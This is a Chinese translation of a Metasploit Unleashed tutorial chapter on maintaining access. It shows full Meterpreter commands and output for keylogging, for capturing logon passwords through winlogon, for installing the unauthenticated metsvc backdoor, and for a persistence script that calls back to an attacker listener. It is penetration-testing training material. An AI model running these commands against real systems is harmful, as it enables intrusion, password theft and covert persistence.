翻译者说明1:本文为Metasploit Unleashed中文版翻译。原文链接:https://www.offensive-security.com/metasploit-unleashed/

翻译者说明2:为减轻翻译负担采用了机器翻译,翻译者从中人工剔除了机翻错误或歧义的问题,但难免会存在小问题,请读者见谅。如发现文章翻译存在问题,可在文章下方评论留言。

翻译者说明3:如果你喜欢这篇翻译,请给关注一下我并给文章点个赞,你的支持是给我工作的最大鼓励。

翻译者说明4:其他章节一并整合在专栏中,如有兴趣可关注专栏了解更多内容。

十三、维护访问权限

1. 透视以保持访问权限

成功损害主机后,如果接洽规则允许,通常最好确保能够保持访问权限,以便进一步检查或渗透目标网络。这也确保了如果您使用的是一次性漏洞利用或使目标上的服务崩溃,您将能够重新连接到受害者。在这种情况下,在预先重新启动目标之前,您可能无法再次重新获得访问权限。

获得对一个系统的访问权限后,您最终可以访问共享同一子网的系统。从一个系统切换到另一个系统,通过监视用户的击键来获取有关用户活动的信息,以及使用捕获的令牌模拟用户,这些只是我们将在本模块中进一步描述的一些技术。

2. 键盘记录

在你利用了一个系统之后,你可以采取两种不同的方法,要么粉碎和抓取,要么低和慢。

低和慢可以带来大量伟大的信息,如果你有耐心和纪律。可用于低速和慢速信息收集的一个工具是带有Meterpreter的击键记录器脚本。该工具设计精良,允许您从系统捕获所有键盘输入,而无需将任何内容写入磁盘,从而为调查人员留下了最小的取证足迹,以便以后跟进。非常适合获取密码,用户帐户和各种其他有价值的信息。

让我们来看看它的实际情况。首先,我们将像往常一样利用一个系统。

msf exploit(warftpd_165_user) > exploit[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Connecting to FTP server 172.16.104.145:21...
[*] Connected to target FTP server.
[*] Trying target Windows 2000 SP0-SP4 English...
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 4 opened (172.16.104.130:4444 -> 172.16.104.145:1246)meterpreter >

然后,我们将Meterpreter迁移到资源管理器.exe进程,这样我们就不必担心被利用的进程被重置并关闭我们的会话。

meterpreter > psProcess list
============PID   Name               Path                                                   ---   ----               ----                                                   140   smss.exe           \SystemRoot\System32\smss.exe                          188   winlogon.exe       ??\C:\WINNT\system32\winlogon.exe                     216   services.exe       C:\WINNT\system32\services.exe                         228   lsass.exe          C:\WINNT\system32\lsass.exe                            380   svchost.exe        C:\WINNT\system32\svchost.exe                          408   spoolsv.exe        C:\WINNT\system32\spoolsv.exe                          444   svchost.exe        C:\WINNT\System32\svchost.exe                          480   regsvc.exe         C:\WINNT\system32\regsvc.exe                           500   MSTask.exe         C:\WINNT\system32\MSTask.exe                           528   VMwareService.exe  C:\Program Files\VMwareVMware Tools\VMwareService.exe 588   WinMgmt.exe        C:\WINNT\System32\WBEMWinMgmt.exe                     664   notepad.exe        C:\WINNT\System32\notepad.exe                          724   cmd.exe            C:\WINNT\System32\cmd.exe                              768   Explorer.exe       C:\WINNT\Explorer.exe                                  800   war-ftpd.exe       C:\Program Files\War-ftpd\war-ftpd.exe                 888   VMwareTray.exe     C:\Program Files\VMware\VMware Tools\VMwareTray.exe    896   VMwareUser.exe     C:\Program Files\VMware\VMware Tools\VMwareUser.exe    940   firefox.exe        C:\Program Files\Mozilla Firefox\firefox.exe           972   TPAutoConnSvc.exe  C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe 1088  TPAutoConnect.exe  C:\Program Files\VMware\VMware Tools\TPAutoConnect.exe meterpreter > migrate 768
[*] Migrating to 768...
[*] Migration completed successfully.
meterpreter > getpid
Current pid: 768

最后,我们启动键盘记录器,等待一段时间并转储输出。

meterpreter > keyscan_start
Starting the keystroke sniffer...
meterpreter > keyscan_dump
Dumping captured keystrokes...tgoogle.cm my credit amex   myusernamthi     amexpasswordpassword

不能再简单了!请注意控件和退格等击键的表示方式。

作为额外的奖励,如果您想捕获系统登录信息,只需迁移到winlogon进程即可。这将捕获登录到系统的所有用户的凭据,只要它正在运行。

meterpreter > psProcess list
=================PID Name         Path
--- ----         ----
401 winlogon.exe C:\WINNT\system32\winlogon.exemeterpreter > migrate 401[*] Migrating to 401...
[*] Migration completed successfully.meterpreter > keyscan_start
Starting the keystroke sniffer...**** A few minutes later after an admin logs in ****meterpreter > keyscan_dump
Dumping captured keystrokes...
Administrator ohnoes1vebeenh4x0red!

在这里,我们可以看到通过登录到winlogon进程,我们可以有效地收集登录到该系统的所有用户并捕获它。我们捕获了管理员使用密码"ohnoes1vebeenh4x0red!

3. Meterpreter 后门

在经历了利用系统的所有艰苦工作之后,给自己留出一种更简单的方法以供以后使用通常是一个好主意。这样,如果您最初利用的服务已关闭或已修补,您仍然可以访问系统。要了解 metsvc 的原始实现,请参阅http://www.phreedom.org/software/metsvc/。

使用metsvc后门,您可以在任何时候获得Meterpreter shell。

在我们继续之前,这里有一个警告:这里显示的metsvc不需要身份验证。这意味着任何可以访问端口的人都可以访问您的后门!如果您正在进行渗透测试,这不是一件好事,因为这可能是一个重大风险。在实际情况下,您可以更改源以要求身份验证,或者通过其他方法过滤掉与端口的远程连接。

首先,我们利用远程系统并迁移到Explorer.exe进程,以防用户注意到被利用的服务没有响应并决定杀死它。

msf exploit(3proxy) > exploit[*] Started reverse handler
[*] Trying target Windows XP SP2 - English...
[*] Sending stage (719360 bytes)
[*] Meterpreter session 1 opened (192.168.1.101:4444 -> 192.168.1.104:1983)meterpreter > psProcess list
============PID   Name                 Path---   ----                 ----132   ctfmon.exe           C:\WINDOWS\system32\ctfmon.exe176   svchost.exe          C:\WINDOWS\system32\svchost.exe440   VMwareService.exe    C:\Program Files\VMware\VMware Tools\VMwareService.exe632   Explorer.EXE         C:\WINDOWS\Explorer.EXE796   smss.exe             \SystemRoot\System32\smss.exe836   VMwareTray.exe       C:\Program Files\VMware\VMware Tools\VMwareTray.exe844   VMwareUser.exe       C:\Program Files\VMware\VMware Tools\VMwareUser.exe884   csrss.exe            \??\C:\WINDOWS\system32\csrss.exe908   winlogon.exe         \??\C:\WINDOWS\system32\winlogon.exe952   services.exe         C:\WINDOWS\system32\services.exe964   lsass.exe            C:\WINDOWS\system32\lsass.exe1120  vmacthlp.exe         C:\Program Files\VMware\VMware Tools\vmacthlp.exe1136  svchost.exe          C:\WINDOWS\system32\svchost.exe1236  svchost.exe          C:\WINDOWS\system32\svchost.exe1560  alg.exe              C:\WINDOWS\System32\alg.exe1568  WZCSLDR2.exe         C:\Program Files\ANI\ANIWZCS2 Service\WZCSLDR2.exe1596  jusched.exe          C:\Program Files\Java\jre6\bin\jusched.exe1656  msmsgs.exe           C:\Program Files\Messenger\msmsgs.exe1748  spoolsv.exe          C:\WINDOWS\system32\spoolsv.exe1928  jqs.exe              C:\Program Files\Java\jre6\bin\jqs.exe2028  snmp.exe             C:\WINDOWS\System32\snmp.exe2840  3proxy.exe           C:\3proxy\bin\3proxy.exe3000  mmc.exe              C:\WINDOWS\system32\mmc.exemeterpreter > migrate 632
[*] Migrating to 632...
[*] Migration completed successfully.

在安装 metsvc 之前,让我们看看有哪些选项可供我们使用。

meterpreter > run metsvc -h
[*]
OPTIONS:-A        Automatically start a matching multi/handler to connect to the service-h        This help menu-r        Uninstall an existing Meterpreter service (files must be deleted manually)meterpreter >

由于我们已经通过Meterpreter会话连接,因此我们不会将其设置为立即连接回我们。我们现在只安装该服务。

meterpreter > run metsvc
[*] Creating a meterpreter service on port 31337
[*] Creating a temporary installation directory C:\DOCUME~1\victim\LOCALS~1\Temp\JplTpVnksh...
[*]  >> Uploading metsrv.dll...
[*]  >> Uploading metsvc-server.exe...
[*]  >> Uploading metsvc.exe...
[*] Starting the service...
[*]      * Installing service metsvc* Starting service
Service metsvc successfully installed.meterpreter >

该服务现已安装并等待连接。

1)与 METSVC 交互

现在,我们将使用具有窗口/metsvc_bind_tcp有效负载的 multi/handler 连接到远程系统。这是一个特殊的有效负载,因为Meterpreter有效负载通常是多阶段的,其中作为漏洞利用的一部分发送最少量的代码,然后在实现代码执行后上传更多代码。

想想航天飞机火箭,以及用于将航天飞机送入轨道的助推火箭。这大致相同,除了不是额外的物品在那里然后掉落,Meterpreter开始尽可能小,然后添加。但是,在这种情况下,完整的 Meterpreter 代码已上载到远程计算机,并且不需要暂存连接。

我们设置了所有选项,以metsvc_bind_tcp受害者的IP地址和我们希望在计算机上连接服务的端口。然后,我们运行该漏洞。

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/metsvc_bind_tcp
PAYLOAD => windows/metsvc_bind_tcp
msf exploit(handler) > set LPORT 31337
LPORT => 31337
msf exploit(handler) > set RHOST 192.168.1.104
RHOST => 192.168.1.104
msf exploit(handler) > show optionsModule options:Name  Current Setting  Required  Description----  ---------------  --------  -----------Payload options (windows/metsvc_bind_tcp):Name      Current Setting  Required  Description----      ---------------  --------  -----------EXITFUNC  thread           yes       Exit technique: seh, thread, processLPORT     31337            yes       The local portRHOST     192.168.1.104    no        The target addressExploit target:Id  Name--  ----0   Wildcard Targetmsf exploit(handler) > exploit

在发出exploits后,我们的metsvc后门立即连接到我们。

[*] Starting the payload handler...
[*] Started bind handler
[*] Meterpreter session 2 opened (192.168.1.101:60840 -> 192.168.1.104:31337)meterpreter > psProcess list
============PID   Name               Path                                                  ---   ----               ----                                                  140   smss.exe           \SystemRoot\System32\smss.exe                         168   csrss.exe          \??\C:\WINNT\system32\csrss.exe                       188   winlogon.exe       \??\C:WINNT\system32\winlogon.exe                    216   services.exe       C:\WINNT\system32\services.exe                        228   lsass.exe          C:\WINNT\system32\lsass.exe                           380   svchost.exe        C:\WINNT\system32\svchost.exe                         408   spoolsv.exe        C:\WINNT\system32\spoolsv.exe                         444   svchost.exe        C:\WINNT\System32\svchost.exe                         480   regsvc.exe         C:\WINNT\system32\regsvc.exe                          500   MSTask.exe         C:\WINNT\system32\MSTask.exe                          528   VMwareService.exe  C:\Program Files\VMware\VMware Tools\VMwareService.exe564   metsvc.exe         c:\WINNT\my\metsvc.exe                                588   WinMgmt.exe        C:\WINNT\System32\WBEM\WinMgmt.exe                    676   cmd.exe            C:\WINNT\System32\cmd.exe                             724   cmd.exe            C:\WINNT\System32\cmd.exe                             764   mmc.exe            C:\WINNT\system32\mmc.exe                             816   metsvc-server.exe  c:\WINNT\my\metsvc-server.exe                         888   VMwareTray.exe     C:\Program Files\VMware\VMware Tools\VMwareTray.exe   896   VMwareUser.exe     C:\Program Files\VMware\VMware Tools\VMwareUser.exe   940   firefox.exe        C:\Program Files\Mozilla Firefox\firefox.exe          972   TPAutoConnSvc.exe  C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe1000  Explorer.exe       C:\WINNT\Explorer.exe                                 1088  TPAutoConnect.exe  C:\Program Files\VMware\VMware Tools\TPAutoConnect.exemeterpreter > pwd
C:\WINDOWS\system32
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

在这里,我们有一个典型的Meterpreter会话!同样,请小心何时以及如何使用此技巧。如果您通过在系统上为他们放置这样一个有用的后门来使攻击者的工作更容易,系统所有者将不会高兴。

4. 持久后门

维护访问权限是渗透测试的一个非常重要的阶段,不幸的是,它经常被忽视。每当获得管理访问权限时,大多数渗透测试人员都会被带走,因此,如果系统稍后被修补,那么他们就不再有权访问它。

持久的后门帮助我们访问过去成功入侵的系统。重要的是要注意,在渗透测试期间,它们可能超出了范围;但是,熟悉它们至关重要。现在让我们来看看一些持久的后门!

1)Meterpreter 服务

在经历了利用系统的所有艰苦工作之后,通常最好让自己以更简单的方式返回系统以供以后使用。这样,如果您最初利用的服务已关闭或已修补,您仍然可以访问系统。Metasploit有一个Meterpreter脚本persistence.rb,它将创建一个Meterpreter服务,即使重新启动远程系统,您也可以使用该服务。

在我们进一步讨论之前,这里有一句警告。此处所示的持久性 Meterpreter 不需要身份验证。这意味着任何可以访问端口的人都可以访问您的后门!如果您正在进行渗透测试,这不是一件好事,因为这可能是一个重大风险。在现实世界中,请务必格外小心,并确保在订婚完成后自行清理。

一旦我们最初利用了主机,我们就使用 -h 开关运行 persistence ,以查看哪些选项可用:

meterpreter > run persistence -h[!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe.
[!] Example: run post/windows/manage/persistence_exe OPTION=value [...]
Meterpreter Script for creating a persistent backdoor on a target host.OPTIONS:-A        Automatically start a matching exploit/multi/handler to connect to the agent-L   Location in target host to write payload to, if none %TEMP% will be used.-P   Payload to use, default is windows/meterpreter/reverse_tcp.-S        Automatically start the agent on boot as a service (with SYSTEM privileges)-T   Alternate executable template to use-U        Automatically start the agent when the User logs on-X        Automatically start the agent when the system boots-h        This help menu-i   The interval in seconds between each connection attempt-p   The port on which the system running Metasploit is listening-r   The IP of the system running Metasploit listening for the connect back

我们将持久的 Meterpreter 会话配置为等待用户登录到远程系统,并尝试每隔 5 秒通过端口 443 上的 IP 地址 192.168.1.71 连接到我们的侦听器。

meterpreter > run persistence -U -i 5 -p 443 -r 192.168.1.71
[*] Creating a persistent agent: LHOST=192.168.1.71 LPORT=443 (interval=5 onboot=true)
[*] Persistent agent script is 613976 bytes long
[*] Uploaded the persistent agent to C:\WINDOWS\TEMP\yyPSPPEn.vbs
[*] Agent executed with PID 492
[*] Installing into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\YeYHdlEDygViABr
[*] Installed into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\YeYHdlEDygViABr
[*] For cleanup use command: run multi_console_command -rc /root/.msf4/logs/persistence/XEN-XP-SP2-BARE_20100821.2602/clean_up__20100821.2602.rc
meterpreter >

请注意,脚本输出为您提供了在完成持久侦听器后删除该侦听器的命令。请务必记下它,以免在系统上留下未经身份验证的后门。为了验证它是否有效,我们重新启动远程系统并设置有效负载处理程序。

meterpreter > reboot
Rebooting...
meterpreter > exit[*] Meterpreter session 3 closed.  Reason: User exit
msf exploit(ms08_067_netapi) > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.71
LHOST => 192.168.1.71
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > exploit[*] Started reverse handler on 192.168.1.71:443
[*] Starting the payload handler...

当用户登录到远程系统时,将为我们打开一个 Meterpreter 会话。

[*] Sending stage (748544 bytes) to 192.168.1.161
[*] Meterpreter session 5 opened (192.168.1.71:443 -> 192.168.1.161:1045) at 2010-08-21 12:31:42 -0600meterpreter > sysinfo
Computer: XEN-XP-SP2-BARE
OS      : Windows XP (Build 2600, Service Pack 2).
Arch    : x86
Language: en_US
meterpreter >

第十三期_维护访问权限《Metasploit Unleashed Simplified Chinese version(Metasploit官方文档教程中文版)》相关推荐

  1. 第五期_信息收集《Metasploit Unleashed Simplified Chinese version(Metasploit官方文档教程中文版)》

    翻译者说明1:本文为Metasploit Unleashed中文版翻译.原文链接:https://www.offensive-security.com/metasploit-unleashed/ 翻译 ...

  2. 第三期_Metasploit 介绍《Metasploit Unleashed Simplified Chinese version(Metasploit官方文档教程中文版)》

    翻译者说明1:本文为Metasploit Unleashed中文版翻译.原文链接:https://www.offensive-security.com/metasploit-unleashed/ 翻译 ...

  3. 第四期_Metasploit 基础(六)Meterprete《Metasploit Unleashed Simplified Chinese version(Metasploit官方文档教程中文版)》

    翻译者说明1:本文为Metasploit Unleashed中文版翻译.原文链接:https://www.offensive-security.com/metasploit-unleashed/ 翻译 ...

  4. 第四期_Metasploit 基础(三)Exploits《Metasploit Unleashed Simplified Chinese version(Metasploit官方文档教程中文版)》

    翻译者说明1:本文为Metasploit Unleashed中文版翻译.原文链接:https://www.offensive-security.com/metasploit-unleashed/ 翻译 ...

  5. re python 引擎_转 python内置正则表达式(re)模块官方文档简要中文版

    学习正则表达式,最好的教材是<精通正则表达式>,而要精通NFA正则表达式,使用了NFA引擎的python正则模块官方文档就是最好的教材,大部分的功能同样在其他使用传统NFA引擎的正则包里受 ...

  6. 华为编程规范_华为 Java 编程规范出炉,究竟和官方文档有何不同?

    来源:blog.csdn.net/chenleixing/article/details/44173985 1.引言 这个标准是衡量代码本身的缺陷,也是衡量一个研发人员本身的价值.华为作为一家全球化的 ...

  7. 《SpringBoot官方文档》_笔记

    文章目录 Part III. Using Spring Boot Part IV Spring Boot Features 23 SpringApplication 23.1 Startup Fail ...

  8. react router官方文档_阿里开源可插拔 React 跨端框架 UmiJS

    点击上方"开发者技术前线",选择"星标" 18:30 在看 真爱 作者:Tamic  |  编辑: 可可 阿里之前开源:阿里闲鱼开源 Flutter 应用框架 ...

  9. dubbo官方文档_狂神说SpringBoot17:Dubbo和Zookeeper集成

    狂神说SpringBoot系列连载课程,通俗易懂,基于SpringBoot2.2.5版本,欢迎各位狂粉转发关注学习.未经作者授权,禁止转载 分布式理论 什么是分布式系统? 在<分布式系统原理与范 ...

最新文章

  1. 《人月神话》——外科手术队伍——笔记!
  2. 滴滴CTO张博:我人生重要的四次选择
  3. Unity 播放音频文件
  4. 对话图灵奖得主John Hennessy,他说对美国留学签证变化很忧心
  5. 贪心算法-01硬币找零问题
  6. 2018收官蓉城,探秘多媒体开发新趋势
  7. c++无锁链表的实现
  8. Vue安装live-server
  9. 使用dbUnit,JSON,HSQLDB和JUnit规则进行数据库单元测试
  10. 一些简单的例子让你在Java中能更好的学习并理解循环结构(1)!
  11. php break foreach_PHP foreach()跳出本次或当前循环与终止循环方法
  12. python nmap模块详解_python中的Nmap模块问题
  13. 【已解决】关于SQL2008 “不允许保存更改。您所做的更改要求删除并重新创建以下表。您对无法重新创建的标进行了更改或者启用了‘阻止保存要求重新创建表的更改’” 解决方案...
  14. LeetCode—Python版数组简单题(一)
  15. 记录数据库面试题及答案21~41
  16. 20201022-成信大-C语言程序设计-20201学期《C语言程序设计B》C-trainingExercises15
  17. Stern-Brocot树 (生成0-1之间的所有真分数)
  18. 技嘉主板命名规则是什么
  19. “有些委屈如果要一辈子背在身上,那我宁愿犯法。任何事情,你要给我一个说法,你不给我一个说法,我就给你一个说法。”
  20. 扎克伯格:Facebook不会把位置数据交给政府,哪怕是用于追踪新冠病毒!

热门文章

  1. 数据湖技术Iceberg0.12预研文档
  2. 2021年电赛信号失真度测量装置(A题)
  3. 【机器学习代码例】用BP神经网络做预测
  4. 安装win10专业版
  5. CUDA编程第六章: 流和并发
  6. SQL Server 实验七 数据完整性及数据库程序设计
  7. 【图像融合】基于matlab双树复小波变换像素级图像融合【含Matlab源码 2024期】
  8. 数据库第四讲查询笔记
  9. 计算机考研考音乐学院,135101音乐专业考研
  10. JavaWeb——HTTP详解